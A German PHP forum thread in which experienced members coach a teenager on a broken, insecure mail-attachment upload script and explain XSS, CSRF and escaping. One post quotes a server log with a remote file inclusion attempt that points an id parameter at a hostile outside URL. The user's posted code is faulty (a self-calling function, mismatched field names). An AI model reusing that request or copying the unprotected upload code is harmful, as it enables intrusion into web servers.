PHP - Bild an mich über Internetseite senden

BenBE · Verfasst: Do 25.08.11 01:34

storestore hat folgendes geschrieben :

BenBE hat folgendes geschrieben :

Stell das in die Job-Börse mit nem vernünftigen Preis und du hast in 0,nix dein funktionierendes Script.

Ich will kein Geld für irrgend ein Programmierer geben,

Ich bin nicht "irrgend ein Programmierer", mal ganz davon abgesehen, dass irgend ein nicht von irre abstammt; sonst müsste ich mich beleidigt fühlen.

storestore hat folgendes geschrieben :

während ich hier in einem Programmier-forum bin wo mir leute für umsonst helfen könnten.

Es gibt einen wichtigen Unterschied zwischen kostenlos und umsonst. Aber gut: Du hast das korrekte von beiden bereits verwendet. GZ!

storestore hat folgendes geschrieben :

Ich verstehe nicht wo das Problem ist.

HPMoR: Hmmm, Problempersonen scheinen kein Eigenbewusstsein zu besitzen. Und ja, ich weiß, dass das sehr viel Confirmation Bias hat! :mrgreen:

storestore hat folgendes geschrieben :

Ich will nur das mir jemand sagt ob der genannt code richtig ist

Nein

storestore hat folgendes geschrieben :

oder was daran flasch ist.

Er hat oben genannte Sicherheitsprobleme.

storestore hat folgendes geschrieben :

Aber das ständige mach ein Antrag für die jobbörse oder ver.... mich mit brain.exe.

Sorry, aber für die Lösung via "Selbstständig das Problem eingrenzen" fehlt es Dir eindeutig an Eigeninitiative. Und glaub mir: Der Altruismus vieler Mitglieder hier hat durchaus ein Ende, wie man an gewissen Hühnchen gemerkt hat, die hier letztens gerupft wurden. Es ist einfach eine der Umgangsformen, die erwartet werden, dass man selbstständig arbeitet und selber nach Problemen sucht, um dann gezielt zu fragen, wo es scheitert.

storestore hat folgendes geschrieben :

Naja, das ist nicht direkt das was ich mir erwarte.

Was dann?

storestore hat folgendes geschrieben :

Und ob ich jetzt die Grundlagen kann ist doch für euch uninteressant.

Eben nicht. Weil es durchaus einen Unterschied macht, ob ich jemandem vom Fach etwas erkläre, oder einem Einsteiger. Letzterer macht potentiell mehr Arbeit, die ich aber auch gut investiert gewusst haben will.

storestore hat folgendes geschrieben :

Ich möchte doch einfach nur wissen was flasch ist und wie man das richtig macht.

Ich habe 2 Links gepostet, die die in deinem Code vorhandenen Fehler aus sicherheitstechnischer Sicht beschreiben. Das Gelesene dann auf deinen Source anzuwenden, sollte nicht so schwierig sein. Ich hab den Fehler beim Überfliegen in 5 Sekunden gesehen; ihn einfach zu nennen bringt aber vom Lerneffekt für dich gar nix, wenn Du den Hintergrund nicht verstehst/verstehen willst.

storestore hat folgendes geschrieben :

Naja. Was will man machen :nixweiss:

Sich hinsetzen die Hinweise sich angucken, überdenken und selbstständig anhand dieser Hinweise versuchen die Lösung zu finden. Wenn Du auf dem Weg zur Lösung irgendwo noch mal hängen bleibst, rupft dich keiner, wenn Du aber am Start stehen bleibst und wartest, dass du im Ziel ankommst, weil dich irgendwelche Programmiersklaven dorthin getragen haben, dann sieht es recht düster aus.

Dude566 hat folgendes geschrieben :

Den meisten hier geht es aber wohl so, dass sie niemandem alles vorkauen wollen, wenn er selbst kaum bis keine Eigeninitiative zeigt. :roll:

Korrekt erkannt. Ich kann meine Zeit sinnvoller verschwenden.

Dude566 hat folgendes geschrieben :

Zu den Grundlagen: Wenn du dich damit beschäftigt hättest, was längst hätte passieren können, dann könntest du deinen Code auch selbst auf Fehler checken und bei konkreten Problemen hier fragen. :wink:

Korrekt. Bzw. hättest Du die schon lange gefunden und behoben. Grad PHPEdit hat da sowas Seltsames, nennt sich glaube "Debugger". Das hilft einem, Fehler zu finden. Muss man nur nutzen ;-)

storestore hat folgendes geschrieben :

Hallo,
naja bin erst 13

Hab mit 6 angefangen die ersten Programme zu verändern; richtig programmiert mit 11. Alles autodidaktisch ...

storestore hat folgendes geschrieben :

und damit recht jung um

Lass mich nicht heulen. Mein Vorrat an Mitleid ist grad aus. :twisted:

storestore hat folgendes geschrieben :

das ganze gescheit zu verstehen.

Eigene Web-Programmierung mit 9. Nein, ich glaub, ich muss Dir widersprechen.

storestore hat folgendes geschrieben :

Aber ich habe mir ja schon Bücher über php geholt

[X] Geholt
[ ] Gelesen
[ ] Verstanden

storestore hat folgendes geschrieben :

aber den code brauche ich wegen Persönlichen gründen jetzt schon.

Dagegen sagt ja keiner was. Aber wenn Du von uns eine Leistung erwartest ("Hilfe"), dann möchten wir dafür eine Gegenleistung ("Selbstständige Mitarbeit"). Alternativ wäre "Job-Angebot" gegen "Geld" auch eine Alternative. Leider können wir uns auf beides nicht einigen. Glaube nicht unser Problem: Es gibt genug andere, die damit einverstanden sind.

storestore hat folgendes geschrieben :

Und so schnell lernt man nicht die Grundlagen.

Halbes Jahr (eigene Erfahrung). IIRC bist Du (unter storestore und 12profi) hier schon länger als 6 Monate dabei. Und um's mal ganz gemein zu machen: Ich hab nem Kumpel mal das Programmieren in 4 Stunden an einem Wochenende beigebracht.

storestore hat folgendes geschrieben :

Und dann
(*Schnief*)erwartet man hilfe (*Schnief*) in einem Forum und dann kommt sowas wie brain.exe

In der Hinsicht bin ich sehr direkt; aber wenn man sich deine Threads im Zusammenhang einmal anschaut, dann kann man leicht den Eindruck bekommen, dass Du genau eben das geforderte ("selber mitdenken") nicht tust. Und daher hab ich mich auch bewusst zurückgehalten, weil die Kommentare sonst zu bissig geworden wären.

Teekeks hat folgendes geschrieben :

So, nun reichts mir (ich hab mich ja eigentlich deswegen extra immer aus diesen Themen raus gehalten)...

Ui, Einigkeit bei einem Punkt. Oh, welch Wunder! :twisted:

Teekeks hat folgendes geschrieben :

Ich übersetze noch einmal, dieses mal aber was DU geschrieben hast:
"Ich habe keine Lust mich damit zu beschäftigen weil hier ja Leute sind die das schnell mal für mich machen könnten. Aber Geld will ich ja nicht ausgeben, weil ja auch anderen umsonst geholfen wird. Aber alle sind ganz gemein zu mir und wollen das nicht machen. Also bettel ich halt noch etwas Rum"

Und sage jetzt bitte nicht das dass nicht genau das ist, was du hier gerade abziehst.

Amtliche Teekeks-Übersetzung unterschreib ich so ;-)

storestore hat folgendes geschrieben :

Dreamweaver und webocton.

Und warum nicht, wie empfohlen PHPEdit mit integriertem PHP-Debugger?

storestore hat folgendes geschrieben :

Ich hasse das zu sagen aber ihr habt recht. :cry:

Danke.

storestore hat folgendes geschrieben :

Ich muss mir selber helfen.

Nein, du musst eigenständiger werden und Eigeninitiative zeigen. Dann bekommst Du auch von anderen Unterstützung.

storestore hat folgendes geschrieben :

Sorry wegen alles.

Die deutsche Rechtschreibung ist Freeware, du darfst sie kostenlos nutzen – Aber sie ist nicht Open Source, d. h. du darfst sie nicht verändern oder in veränderter Form veröffentlichen.

storestore hat folgendes geschrieben :

Ich bin jetzt dabei mich im Internet zu imformieren wie ich eine E-mail mit Anhang versende;)

Hatte dazu ja auch schon was geschrieben. Also wie das geht. Gibt für PHP da auch schon fertige Module, die einen da unterstützen. Ohne das Prinzip verstanden zu haben, bringt dir Copy&Paste aber rein gar nix.

storestore hat folgendes geschrieben :

Danke für bringen auf (hoffentlich) den richtigen
Weg;)

Gern geschehen. Hoffen wir, es war nachhaltig.

storestore hat folgendes geschrieben :

XSS: Das einschleusen von gemeinen Java-scripten in die URL

Nicht ganz. Das unterbringen von kontext-fremden Daten, diee fehlinterpretiert werden. Oftmals zum Einschleusen von Scripten missbraucht.

storestore hat folgendes geschrieben :

CSRF: Es wird ein sogennanter Request eingeschoben. Dieser füht eine bestimmte aktion beim aufrufen der Webanwendung aus. Dieser Request gibt dem Bösen buben (Programmierer) daten zurück.

Ja, aber auch noch nicht ganz. Aktionen in einer Web-Anwendung auslösen können, ohne dass ich dafür den vorherigen Status dieser kennen muss. Im Zusammenhang mit deinem Kontakt-Formular könnt ich das zum Bombardieren mit Emails missbrauchen.

storestore hat folgendes geschrieben :

Ich habe das nirgends rauskopiert. Sonder ich habe mich INFORMIERT (*stolz sei*) :les:

GZ.

storestore hat folgendes geschrieben :

Also alles was der Benutzer eingeben kann kann für mich gefährlich werden.

That's life ;-)

Und glaub mir, das ist täglich brot:

Hier mal ein Beispiel für RFI:

Meine Server-Logs:

[23/Aug/2011:18:00:15 +0200] domain.tld:80 127.1.2.3 - - - HTTP/1.0 GET /var/www/virtual/domain.tld/htdocs/news.php 200 200 35595 Req="GET /news.php?id=very.evil.ru/evil.txt?index.php HTTP/1.0" Referer="http://domain.tld/highlighter/news.php?id=http://very.evil.ru/evil.txt?index.php" Agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" SVN="-" SSL="- - -"

Und da hab ich grad nicht lange gesucht ... (Funktioniert übrigens auf meinem Server nicht)

storestore hat folgendes geschrieben :

Na super und ich habe ein Kontaktformular .,.

Jetzt auch klar, warum wir ERST die Security ansprechen und dann die anderen Fehler, die noch so enthalten sind? Gut!

storestore hat folgendes geschrieben :

Hmmm wie kann ich mich dagegen am besten schützen, denn ich kann den Benutzer ja nicht verbieten ins Kontaktformular was reinzuschreiben. Aber wenn ich die ausgaben sprich name usw. in einen array (*Brainstorming*)
Habt ihr noch mehr Tipps
bitte

mfg storestore

In der Regel hilft zur Absicherung das Escaping von Meta-Zeichen. Dafür gibt es in PHP eine ganze Reihe von Funktionen. In deinem Fall musst du die Meta-Zeichen von HTML unwirksam machen. Den Namen der hierfür benötigten Funktion findet man recht leicht in der PHP-Doku.

Gruß,
BenBE.

_________________

Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.

storestore · Beiträge: 397 Erhaltene Danke: 7 WIN 7 C#

Hi, ok danke ähh wegen den HTML codes ich glaube du meinst: htmlentities oder htmlspecialchars ,nee

Hmm bin gerade dabei sicherheit einzubauen. Schwer, schwer.
Darf ich trotz allem wenn ich wieder Probleme habe hier anfragen ?

_________________
Der Pc ist nur so schlau, wie derjenige der in steuert!
"Don't Quit. Suffer now, and live the rest of your life as a champion"

BenBE · Verfasst: Do 25.08.11 01:55

storestore hat folgendes geschrieben :

Hi, ok danke ähh wegen den HTML codes ich glaube du meinst: htmlentities oder htmlspecialchars ,nee

Konkret wäre hier htmlspecialchars die richtige Entscheidung.

storestore hat folgendes geschrieben :

Hmm bin gerade dabei sicherheit einzubauen. Schwer, schwer.

Jup. Und das sind so eher die alltäglichen Lücken.

storestore hat folgendes geschrieben :

Darf ich trotz allem wenn ich wieder Probleme habe hier anfragen ?

Ja, gerne. Wichtig ist nur der Punkt Eigeninitiative.

_________________

Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.

storestore · Beiträge: 397 Erhaltene Danke: 7 WIN 7 C#

Hallo,
ich bin noch dabei es zu programmieren, aber was würde sowas in der Jobbörse den Kosten?

mfg storestore

_________________
Der Pc ist nur so schlau, wie derjenige der in steuert!
"Don't Quit. Suffer now, and live the rest of your life as a champion"

thepaine91 · Verfasst: Do 25.08.11 11:16

Also bei mir 30€. ^^

Teekeks · Beiträge: 211 Erhaltene Danke: 23

Das kommt darauf an was du dafür geben möchtest.
Und ob sich dann jemand findet der das dafür macht

BenBE · Verfasst: Do 25.08.11 12:28

Wenn Du dich für Hosting bei mir entscheidest, gäb's das Ganze bei mir für etwa 20 Euro zzgl. Hosting.

_________________

Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.

thepaine91 · Verfasst: Do 25.08.11 13:10

Man man heut zu tage kann man nicht mal zu viel Geld verlangen für einfache Aufträge weil andere das ganze günstiger machen ^^

Horschdware · Verfasst: Do 25.08.11 13:18

Das nennt sich Lohndumping. Willkommen in der Realität :-D

_________________
Delphi: XE - OS: Windows 7 Professional x64

thepaine91 · Verfasst: Do 25.08.11 13:27

Und ich hab mich immer gefragt warum ich die Realität zum :puke:

finde.

Teekeks · Beiträge: 211 Erhaltene Danke: 23

thepaine91 hat folgendes geschrieben :

Und ich hab mich immer gefragt warum ich die Realität zum :puke:

finde.

Wegen dem Brechmittel welches in jeder deiner Mahlzeiten ist natürlich!

elundril · Verfasst: Do 25.08.11 15:44

thepaine91 hat folgendes geschrieben :

Und ich hab mich immer gefragt warum ich die Realität zum :puke:

finde.

Das ist der Grund warum ich in meiner eigenen Realität lebe. :mrgreen:

_________________

This Signature-Space is intentionally left blank.
Bei Beschwerden, bitte den Beschwerdebutton (gekennzeichnet mit PN) verwenden.

storestore · Beiträge: 397 Erhaltene Danke: 7 WIN 7 C#

Ok,danke für die info

_________________
Der Pc ist nur so schlau, wie derjenige der in steuert!
"Don't Quit. Suffer now, and live the rest of your life as a champion"

storestore · Beiträge: 397 Erhaltene Danke: 7 WIN 7 C#

Hi,
ich habe jetzt im internet gesucht und das hier gefunden www.php-einfach.de/codeschnipsel_1114.php
Das interresante für mich aber war das mit dem Datei-upload. Der code ist noch sehr "Gefärhlich" und nicht geschützt, aber das bin ich noch am bearbeiten. Das hauptsächliche Problem ist aber das keine e-mail ankommt. Alles richtig ausgefüllt auch eine "function mail_att" eingefügt, weil er gemekert hat aber jetzt, kommt keine Mail an. Bevor ich die function mail_att eingfügt habe kam auch keine an. Also das liegt nicht daran. Ich habe jetzt schon 1-2 tage gesucht und gesucht und gesucht aber leider finde ich keine hilfe. Könnt ihr mir bitte helfen?

mfg storestore

_________________
Der Pc ist nur so schlau, wie derjenige der in steuert!
"Don't Quit. Suffer now, and live the rest of your life as a champion"

Dude566 · Verfasst: Fr 26.08.11 00:50

Und wir sollen jetzt raten wie dein Code aussieht? :roll:

_________________
Es gibt 10 Gruppen von Menschen: diejenigen, die das Binärsystem verstehen, und die anderen.

storestore · Beiträge: 397 Erhaltene Danke: 7 WIN 7 C#

Dude566 hat folgendes geschrieben :

Und wir sollen jetzt raten wie dein Code aussieht? :roll:

Nein natürlich nicht sorry. Der code ist aber noch ohne sicherheit:

markieren

Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:

<form enctype="multipart/form-data" action="t.php" method="POST">

Choose a file to upload: <input name="uploadedfile" type="file" />
<input type="submit" value="Upload File" />
</form>
<?php
function mail_att($to,$subject,$message,$anhang)
   {
     $to= "storestore@web.de";
$anhang = array();
$anhang["name"] = $_FILES['datei_feld']['name'];
$anhang["size"] = $_FILES['datei_feld']['size'];
$anhang["type"] = $_FILES['datei_feld']['type'];
$anhang["data"] = implode("",file($_FILES['datei_feld']['tmp_name']));

mail_att("storestore@web.de","Email mit Anhang","Im Anhang ist eine Datei",$anhang);
}
?>

Ich habe es so gemacht wie beschrieben

_________________
Der Pc ist nur so schlau, wie derjenige der in steuert!
"Don't Quit. Suffer now, and live the rest of your life as a champion"

Dude566 · Verfasst: Fr 26.08.11 01:06

Wenn sich meine müden Augen gerade nicht vergucken, rufst du die Funktion in sich selbst auf, ist das so beabsichtigt?

_________________
Es gibt 10 Gruppen von Menschen: diejenigen, die das Binärsystem verstehen, und die anderen.

storestore · Beiträge: 397 Erhaltene Danke: 7 WIN 7 C#

Dude566 hat folgendes geschrieben :

Wenn sich meine müden Augen gerade nicht vergucken, rufst du die Funktion in sich selbst auf, ist das so beabsichtigt?

Ohh sorry falscher code :oops:

markieren

Quelltext

1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:

Choose a file to upload: <input name="uploadedfile" type="file" />
<input type="submit" value="Upload File" />

<?php
function mail_att($to,$subject,$message,$anhang)
   {
     $to= "storestore@web.de";
$anhang = array();
$anhang["name"] = $_FILES['datei_feld']['name'];
$anhang["size"] = $_FILES['datei_feld']['size'];
$anhang["type"] = $_FILES['datei_feld']['type'];
$anhang["data"] = implode("",file($_FILES['datei_feld']['tmp_name']));

mail_att("storestore@web.de","Email mit Anhang","Im Anhang ist eine Datei",$anhang);
}
?>

Ohh verdamt du hast recht :autsch:

Sorry für den dobblepost aber sonst wierd es zuviel in einem Beitrag;)

_________________
Der Pc ist nur so schlau, wie derjenige der in steuert!
"Don't Quit. Suffer now, and live the rest of your life as a champion"

Dude566 · Verfasst: Fr 26.08.11 01:34

Da ist trotzdem noch der Fehler, hast du denn verstanden was ich gemeint habe?

_________________
Es gibt 10 Gruppen von Menschen: diejenigen, die das Binärsystem verstehen, und die anderen.

Gausi · Verfasst: Fr 26.08.11 08:14

Hast du denn den von dir verlinkten Beitrag gelesen? Da steht doch die Funktion mail_att, und wie sie auszusehen hat. Warum hast du die denn komplett weggelassen?

_________________
We are, we were and will not be.

	Mitgliederliste
	Gruppen
	Das Team
	Richtlinien
	Synonyme